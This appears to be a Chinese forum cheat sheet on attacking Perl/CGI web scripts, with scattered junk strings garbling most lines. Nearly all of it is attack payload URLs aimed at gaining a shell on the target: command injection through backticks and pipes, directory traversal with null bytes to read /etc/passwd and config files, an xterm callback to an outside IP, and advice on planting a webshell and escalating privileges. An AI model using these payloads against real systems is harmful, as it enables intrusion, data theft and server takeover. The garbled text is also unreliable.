总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 1 r! z9 l2 m) q: A- F
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 . x! C& S# ~4 {$ Q- o8 y# R3 d5 n$ }
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 1 d+ P% E: t9 @, `5 p
注“
4 G# n- e& J c7 Rperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 ' r# l* b* G5 {) v4 e2 _) O$ j
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET % e7 x5 T$ U$ v5 M3 D
! [2 X% F, z. W/ ?$ g( w' n/ Jhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 / n2 t) s) E: L0 Q
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 4 q5 R/ M# z9 @
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
8 Q7 `" R. |$ ~4 [3 P# I8 lhttp://target.com/cgi-bin/home/news/sub.pl?`id`
4 w5 {2 I e# Chttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` , L( R) z# A$ U7 t$ y( A5 C! w
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
7 Q* O; d! N: k1 [
' X+ w, h# O s0 }. b3 Uhttp://target.com/test.pl;ls|
' [+ @7 o9 X6 ~* p z% Bhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
. j/ h- i3 X5 q8 }8 G' jhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
- Q6 |' d. \2 U! phttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 ( r2 z( O0 b* o6 x7 x: w- t/ ~
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 , N9 ?0 L y9 Z
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection + c) U# {/ b, t) R+ n
8 E9 [6 D( u, \2 e+ U% z- Qhttp://target.com/test.pl?&........ /../../etc/passwd
8 m$ ]" b/ I! m- C; q* F, u8 o1 w- G% f% {4 z+ f3 ^) E/ Q B, J. A3 r
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ / G, W7 G! t( B T1 t
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
3 M; Y- ~ J& w6 t. l( F0 G: L* Q/ qhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
8 t0 t5 t5 w$ K: {% S6 F2 R* q* `
* @* a0 c8 @; G. a& C0 k# a9 ^4 e% Q8 @" Phttp://www.target.org/show.php?f ... /include/config.php 查看php代码 ) y# l/ V+ h( I/ m0 U; Y5 m' ~
http://www.target.org/show.php?f ... ng/admin/global.php - ^& h, z% o* h2 n9 B
; D3 l1 V3 l$ Yemm和ps的一句话, J% O$ W9 E- S0 h" V
$ `7 j% L3 k, g- q( C% F- y$ b
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 $ H6 M* d$ l" P
& R4 E U$ V2 K2 }8 u6 }" ]) O>bbb%20| 2 o* ^* v: S* A3 X& S2 e7 z! m R
- W2 p/ |& G1 @, Z
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
0 X( K& a. i: q+ b0 T3 v: u' y8 H, U0 w: B) _
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
# C8 v8 x) d( l& `http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin & W' ^, k4 S ~$ l* ?+ r
9 N0 } g# M2 M7 V F相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 2 e( h* P" X3 j7 }- X }, `
http://target.com/index.html#cmd.exe 3 t- m. C! t8 s* \% l
http://target.com/index.html?dummyparam=xp_cmdshell
1 F7 k1 t- [9 X& X0 Zlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd $ E' h, l+ q& d5 k+ X
|